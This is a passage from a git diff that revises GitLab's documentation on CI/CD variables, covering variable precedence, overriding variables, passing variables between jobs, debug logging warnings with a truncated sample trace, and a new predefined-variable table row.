export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
+...
```
-## `.gitlab-ci.yml` defined variables
-
-You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
-and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
-`DATABASE_URL`.
-
-For example, if you set the variable below globally (not inside a job), it is
-used in all executed commands and scripts:
-
-```yaml
-variables:
- DATABASE_URL: "postgres://postgres@postgres/my_database"
-```
-
-The YAML-defined variables are also set to all created
-[service containers](../docker/using_docker_images.md), so that you can fine
-tune them.
-
-Variables can be defined at a global level, but also at a job level. To turn off
-global defined variables in your job, define an empty hash:
-
-```yaml
-job_name:
- variables: {}
-```
-
-You are able to use other variables inside your variable definition (or escape them with `$$`):
-
-```yaml
-variables:
- LS_CMD: 'ls $FLAGS $$TMP_DIR'
- FLAGS: '-al'
-script:
- - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR'
-```
-
-Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
-keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
-when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
-
-## Group-level CI/CD variables
-
-> Introduced in GitLab 9.4.
-
-You can define per-project or per-group variables that are set in the pipeline environment.
-Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
-They are securely passed to GitLab Runner, which makes them available during a pipeline run.
-
-We recommend using group variables to store secrets (like passwords, SSH keys, and
-credentials) for users who:
-
-- Do **not** use an external key store.
-- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-
-Group-level variables can be added by:
-
-1. Navigating to your group's **Settings > CI/CD** page.
-1. Inputting variable types, keys, and values in the **Variables** section.
- Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively.
-
-After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by:
-
-1. Navigating to the project's **Settings > CI/CD** page.
-1. Expanding the **Variables** section.
-
-![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-
-## Instance-level CI/CD variables
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
-
-Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance.
-
-In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097).
-
-You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md).
-
-To add an instance-level variable:
-
-1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add variable** button, and fill in the details:
-
- - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
- - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
- - **Type**: `File` or `Variable`.
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).
-
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
-
-### Enable or disable UI interface for instance-level CI/CD variables
-
-The UI interface for Instance-level CI/CD variables is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:instance_variables_ui)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:instance_variables_ui)
-```
-
-## Inherit CI/CD variables
+## Pass an environment variable to another job
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
-You can inherit CI/CD variables from dependent jobs.
+You can pass environment variables from one job to another job in a later stage.
+These variables cannot be used as CI/CD variables to configure a pipeline, but
+they can be used in job scripts.
-This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature.
+1. In the job script, save the variable as a `.env` file.
+1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv)
+artifact.
+1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies)
+ or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords.
+1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
-Example with [`dependencies`](../yaml/README.md#dependencies) keyword.
+For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword:
```yaml
build:
@@ -496,12 +506,12 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # Output is: 'hello'
dependencies:
- build
```
-Example with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
+For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
```yaml
build:
@@ -515,133 +525,113 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # Output is: 'hello'
needs:
- job: build
artifacts: true
```
-## Priority of CI/CD variables
+## CI/CD variable precedence
-Variables of different types can take precedence over other
-variables, depending on where they are defined.
+You can use CI/CD variables with the same name in different places, but the values
+can overwrite each other. The type of variable and where they are defined determines
+which variables take precedence.
The order of precedence for variables is (from highest to lowest):
-1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
- and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
-1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. [Inherited CI/CD variables](#inherit-cicd-variables).
-1. YAML-defined [job-level variables](../yaml/README.md#variables).
-1. YAML-defined [global variables](../yaml/README.md#variables).
+1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables),
+ [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
+ and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
+1. Project [variables](#custom-cicd-variables).
+1. Group [variables](#group-cicd-variables).
+1. Instance [variables](#instance-cicd-variables).
+1. [Inherited variables](#pass-an-environment-variable-to-another-job).
+1. Variables defined in jobs in the `.gitlab-ci.yml` file.
+1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
1. [Deployment variables](#deployment-variables).
-1. [Predefined CI/CD variables](predefined_variables.md).
-
-For example, if you define:
-
-- `API_TOKEN=secure` as a project variable.
-- `API_TOKEN=yaml` in your `.gitlab-ci.yml`.
-
-`API_TOKEN` takes the value `secure` as the project
-variables take precedence over those defined in `.gitlab-ci.yml`.
-
-## Unsupported variables
-
-Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html).
-Each shell has its own unique set of reserved variable names.
-Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
-
-## Where variables can be used
-
-[This section](where_variables_can_be_used.md) describes where and how the different types of variables can be used.
-
-## Advanced use
-
-### Limit the environment scopes of CI/CD variables
+1. [Predefined variables](predefined_variables.md).
-You can limit the environment scope of a variable by
-[defining which environments](../environments/index.md) it can be available for.
+In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
+Variables defined in jobs have a higher precedence than variables defined globally.
-To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
+```yaml
+variables:
+ API_TOKEN: "default"
-### Deployment variables
+job1:
+ variables:
+ API_TOKEN: "secure"
+ script:
+ - echo "The variable value is $API_TOKEN"
+```
-> Introduced in GitLab 8.15.
+## Override a defined CI/CD variable
-[Integrations](../../user/project/integrations/overview.md) that are
-responsible for deployment configuration may define their own variables that
-are set in the build environment. These variables are only defined for
-[deployment jobs](../environments/index.md). Please consult the documentation of
-the integrations that you are using to learn which variables they define.
+You can override the value of a variable when you:
-An example integration that defines deployment variables is the
-[Kubernetes integration](../../user/project/clusters/index.md#deployment-variables).
+1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
+1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
+1. Run a job manually in the UI.
+1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
+1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables).
+1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
-### Auto DevOps environment variables
+The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
+### Override a variable when running a pipeline manually
-You can configure [Auto DevOps](../../topics/autodevops/index.md) to
-pass CI/CD variables to the running application by prefixing the key of the
-variable with `K8S_SECRET_`.
+You can override the value of a CI/CD variable when you
+[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
-These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are
-then available as environment variables on the running application
-container.
+1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
+1. Choose the branch you want to run the pipeline for.
+1. Input the variable and its value in the UI.
-WARNING:
-Variables with multi-line values are not supported due to
-limitations with the Auto DevOps scripting environment.
+### Restrict who can override variables
-### When you can override variables
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
-You can override the value of a variable when:
+You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
+with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
+error message.
-1. [Manually running](#override-a-variable-by-manually-running-a-pipeline) pipelines in the UI.
-1. Manually creating pipelines [via API](../../api/pipelines.md#create-a-new-pipeline).
-1. Manually playing a job via the UI.
-1. Using [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
-1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables).
-1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
+If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
+use this setting for control over the environment the pipeline runs in.
-These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables).
+You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
+to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
-#### Restrict who can override variables
+## Limit the environment scope of a CI/CD variable
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
-
-To allow only users with Maintainer role to set these variables, you can use
-[the API](../../api/projects.md#edit-project) to enable the project setting `restrict_user_defined_variables`.
-When a user without Maintainer role tries to run a pipeline with overridden
-variables, an `Insufficient permissions to set pipeline variables` error occurs.
+You can limit the environment scope of a variable by
+[defining which environments](../environments/index.md) it can be available for.
-The setting is `disabled` by default.
+To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
-If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
-use this setting for strict control over all aspects of the environment
-the pipeline runs in.
+## Deployment variables
-#### Override a variable by manually running a pipeline
+Integrations that are responsible for deployment configuration can define their own
+variables that are set in the build environment. These variables are only defined
+for [deployment jobs](../environments/index.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44059) in GitLab 10.8.
+For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables)
+defines deployment variables that you can use with the integration.
-You can override the value of a current variable by
-[running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
+The [documentation for each integration](../../user/project/integrations/overview.md)
+explains if the integration has any deployment variables available.
-For instance, suppose you added a custom variable named `$TEST`
-and you want to override it in a manual pipeline.
+## Auto DevOps environment variables
-Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**.
-Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
-![Override variable value](img/override_variable_manual_pipeline.png)
+You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
+to a running application.
-The runner overrides the value previously set and uses the custom
-value for this specific pipeline.
+To make a CI/CD variable available as an environment variable in the running application's container,
+[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
+with `K8S_SECRET_`.
-![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)
+CI/CD variables with multi-line values are not supported.
## CI/CD variable expressions
@@ -649,7 +639,7 @@ value for this specific pipeline.
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
Use variable expressions to limit which jobs are created
-within a pipeline after changes are pushed to GitLab.
+in a pipeline after changes are pushed to GitLab.
In `.gitlab-ci.yml`, variable expressions work with both:
@@ -774,11 +764,8 @@ so `&&` is evaluated before `||`.
#### Parentheses
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
@@ -794,24 +781,6 @@ Examples:
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
-##### Enable or disable parenthesis support for variables **(FREE SELF)**
-
-The feature is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_if_parenthesis_enabled)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_if_parenthesis_enabled)
-```
-
### Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
@@ -834,7 +803,7 @@ The available regular expression syntax is limited. See [related issue](https://
for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
-as well as from within a variable:
+as well as from in a variable:
```yaml
variables:
@@ -857,44 +826,22 @@ testvariable:
> Introduced in GitLab Runner 1.7.
WARNING:
-Enabling debug tracing can have severe security implications. The
-output **will** contain the content of all your variables and any other
-secrets! The output **will** be uploaded to the GitLab server and made visible
-in job logs!
-
-By default, the runner hides most of the details of what it is doing when
-processing a job. This behavior keeps job logs short, and prevents secrets
-from being leaked into the log unless your script writes them to the screen.
-
-If a job isn't working as expected, this can make the problem difficult to
-investigate; in these cases, you can enable debug tracing in `.gitlab-ci.yml`.
-Available on GitLab Runner v1.7+, this feature enables the shell's execution log. This results in a verbose job log listing all commands that were run, variables that were set, and so on.
+Debug logging can be a serious security risk. The output contains the content of
+all variables and other secrets available to the job. The output is uploaded to the
+GitLab server and visible in job logs.
-Before enabling this, you should ensure jobs are visible to
-[team members only](../../user/permissions.md#project-features). You should
-also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs
-before making them visible again.
+You can use debug logging to help troubleshoot problems with pipeline configuration
+or job scripts. Debug logging exposes job execution details that are usually hidden
+by the runner and makes job logs more verbose. It also exposes all variables and secrets
+available to the job.
-### Restricted access to debug logging
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
-
-With restricted access to debug logging, only users with
-[developer or higher permissions](../../user/permissions.md#project-members-permissions)
-can view job logs when debug logging is enabled with a variable in:
-
-- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
-- The CI/CD variables set within the GitLab UI.
-
-WARNING:
-If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
-to all users with access to job logs. The permission levels are not checked by Runner,
-so you should make use of the variable in GitLab only.
+Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
+can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
+with debug output before you make logs public again.
### Enable Debug logging
-To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`:
+To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
```yaml
job_name:
@@ -902,11 +849,10 @@ job_name:
CI_DEBUG_TRACE: "true"
```
-Example truncated output with `CI_DEBUG_TRACE` set to `true`:
+Example output (truncated):
```shell
...
-
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
@@ -941,10 +887,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
-++ export CI_BUILD_ID=379424655
-++ CI_BUILD_ID=379424655
-++ export CI_BUILD_TOKEN=[MASKED]
-++ CI_BUILD_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
@@ -957,10 +899,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
-++ export CI_BUILD_NAME=debug_trace
-++ CI_BUILD_NAME=debug_trace
-++ export CI_BUILD_STAGE=test
-++ CI_BUILD_STAGE=test
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
@@ -975,16 +913,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
-++ export CI_SERVER_VERSION=12.6.0-pre
-++ CI_SERVER_VERSION=12.6.0-pre
-++ export CI_SERVER_VERSION_MAJOR=12
-++ CI_SERVER_VERSION_MAJOR=12
-++ export CI_SERVER_VERSION_MINOR=6
-++ CI_SERVER_VERSION_MINOR=6
-++ export CI_SERVER_VERSION_PATCH=0
-++ CI_SERVER_VERSION_PATCH=0
-++ export CI_SERVER_REVISION=f4cc00ae823
-++ CI_SERVER_REVISION=f4cc00ae823
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
@@ -1029,55 +957,33 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
-++ export CI_COMMIT_MESSAGE=s/CI/Runner
-++ CI_COMMIT_MESSAGE=s/CI/Runner
-++ export CI_COMMIT_TITLE=s/CI/Runner
-++ CI_COMMIT_TITLE=s/CI/Runner
-++ export CI_COMMIT_DESCRIPTION=
-++ CI_COMMIT_DESCRIPTION=
-++ export CI_COMMIT_REF_PROTECTED=true
-++ CI_COMMIT_REF_PROTECTED=true
-++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ export CI_BUILD_REF_NAME=master
-++ CI_BUILD_REF_NAME=master
-++ export CI_BUILD_REF_SLUG=master
-++ CI_BUILD_REF_SLUG=master
-++ export CI_RUNNER_ID=1337
-++ CI_RUNNER_ID=1337
-++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ export CI_DEBUG_TRACE=true
-++ CI_DEBUG_TRACE=true
-++ export GITLAB_USER_ID=42
-++ GITLAB_USER_ID=42
-++ export GITLAB_USER_EMAIL=user@example.com
-++ GITLAB_USER_EMAIL=user@example.com
-++ export GITLAB_USER_LOGIN=root
-++ GITLAB_USER_LOGIN=root
-++ export 'GITLAB_USER_NAME=User'
-++ GITLAB_USER_NAME='User'
-++ export CI_DISPOSABLE_ENVIRONMENT=true
-++ CI_DISPOSABLE_ENVIRONMENT=true
-++ export CI_RUNNER_VERSION=12.5.0
-++ CI_RUNNER_VERSION=12.5.0
-++ export CI_RUNNER_REVISION=577f813d
-++ CI_RUNNER_REVISION=577f813d
-++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ export VERY_SECURE_VARIABLE=imaverysecurevariable
-++ VERY_SECURE_VARIABLE=imaverysecurevariable
-
...
```
+### Restrict access to debug logging
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
+
+You can restrict access to debug logging. When restricted, only users with
+[developer or higher permissions](../../user/permissions.md#project-members-permissions)
+can view job logs when debug logging is enabled with a variable in:
+
+- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- The CI/CD variables set in the GitLab UI.
+
+WARNING:
+If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
+to all users with access to job logs. The permission levels are not checked by the runner,
+so you should only use the variable in GitLab itself.
+
## Video walkthrough of a working example
-The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
+The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
+video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
+working example project. It explains how multiple levels of group CI/CD variables
+can be combined with environment-scoped project variables for complex configuration
+of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
diff --git a/doc/ci/variables/img/override_value_via_manual_pipeline_output.png b/doc/ci/variables/img/override_value_via_manual_pipeline_output.png
deleted file mode 100644
index 2d4c4d24520..00000000000
--- a/doc/ci/variables/img/override_value_via_manual_pipeline_output.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/variables/img/override_variable_manual_pipeline.png b/doc/ci/variables/img/override_variable_manual_pipeline.png
deleted file mode 100644
index 2b242466297..00000000000
--- a/doc/ci/variables/img/override_variable_manual_pipeline.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index 9d598c43ef0..5ceab9c0ff3 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Predefined variables reference
+# Predefined variables reference **(FREE)**
Predefined [CI/CD variables](README.md) are available in every GitLab CI/CD pipeline.
@@ -23,6 +23,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI` | all | 0.4 | Available for all jobs executed in CI/CD. `true` when available. |
| `CI_API_V4_URL` | 11.7 | all | The GitLab API v4 root URL. |
| `CI_BUILDS_DIR` | all | 11.10 | The top-level directory where builds are executed. |
+| `CI_COMMIT_AUTHOR` | 13.11 | all | The author of the commit in `Name <email>` format. |
| `CI_COMMIT_BEFORE_SHA` | 11.2 | all | The previous latest commit present on a branch. Is always `0000000000000000000000000000000000000000` in pipelines for merge requests. |
| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Available in branch pipelines, including pipelines for the default branch. Not available in merge request pipelines or tag pipelines. |
| `CI_COMMIT_DESCRIPTION` | 10.8 | all | The description of the commit. If the title is shorter than 100 characters, the message without the first line. |
@@ -59,7 +60,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job. |
| `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the job's stage. |
| `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/README.md#after_script). Can be `success`, `failed`, or `canceled`. |
-| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-ci-job-token) or download [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories). The token is valid as long as the job is running. |
+| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-cicd-job-token). The token is valid as long as the job is running. |
| `CI_JOB_URL` | 11.1 | 0.5 | The job details URL. |
| `CI_JOB_STARTED_AT` | 13.10 | all | The UTC datetime when a job started, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. |
